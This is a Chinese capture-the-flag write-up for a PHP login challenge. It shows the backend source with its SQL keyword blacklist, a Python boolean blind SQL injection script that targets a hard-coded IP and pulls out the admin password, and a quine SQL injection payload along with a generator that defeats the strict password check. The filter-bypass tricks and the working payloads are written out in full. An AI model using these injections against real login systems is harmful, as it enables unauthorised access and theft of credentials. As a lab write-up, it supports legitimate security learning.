首先quine注入
以下为部分源代码
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
根据提示访问source得到后端代码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
猜测password。如下
空格 -> /**/
= -> like
<>(大于小于号) -> least(),greatest()
substr -> mid
in -> like('admi%')
import requests
#fc3e129bd11f8e7ecf9fc816:eg1b5c3
Ts = "wrong password"
Fs = "something wrong"
url = "http://1.14.71.254:28081/index.php"
def SQL_injection(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
bool_db = "least(ord(mid((select(database())),%d,1)),%d)like(%d)" % (i, mid,mid)
bool_user=f"least(ord(mid((select(password)from(users)where(username)like('admi%')),{i},1)),{mid})like({mid})"
payload = f"'/**/or/**/{bool_user}#"
data = {"username":"admin","password":payload}
resp = requests.post(url = url, data = data)
#print(resp.text)
if Ts in resp.text :
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
if __name__ == "__main__" :
# data = {"username":"admin","password":"'/**/or/**/1#"}
# print(data)
# resp = requests.post(url = url, data = data)
# print(resp.text)
SQL_injection(url)
注出来fc3e129bd11f8e7ecf9fc816:eg1b5c4,但是密码显示错误
这时用quine注入。核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证$row['password'] === $password
先看最终的password'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
CHAR(34)="
CHAR(39)='
CHAR(33)=!
我们令
str2="/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#
str1='/**/union/**/select(REPLACE(REPLACE('!',CHAR(34),CHAR(39)),CHAR(33),'!'))#
(两者区别是引号)
password变成'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
执行内层REPLACE'/**/union/**/select(REPLACE(str1,CHAR(33),'str2'))#
再执行'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
结果和password是一样的!!!
这题可以用上面链接中的脚本生成这个payload
def quine(data, debug=True):
if debug: print(data)
data = data.replace('!!',"REPLACE(REPLACE(!!,CHAR(34),CHAR(39)),CHAR(33),!!)")
blob = data.replace('!!','"!"').replace("'",'"')
data = data.replace('!!',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的东西执行完之后和data一样
"""
data="'/**/union/**/select(!!)#"
quine(data)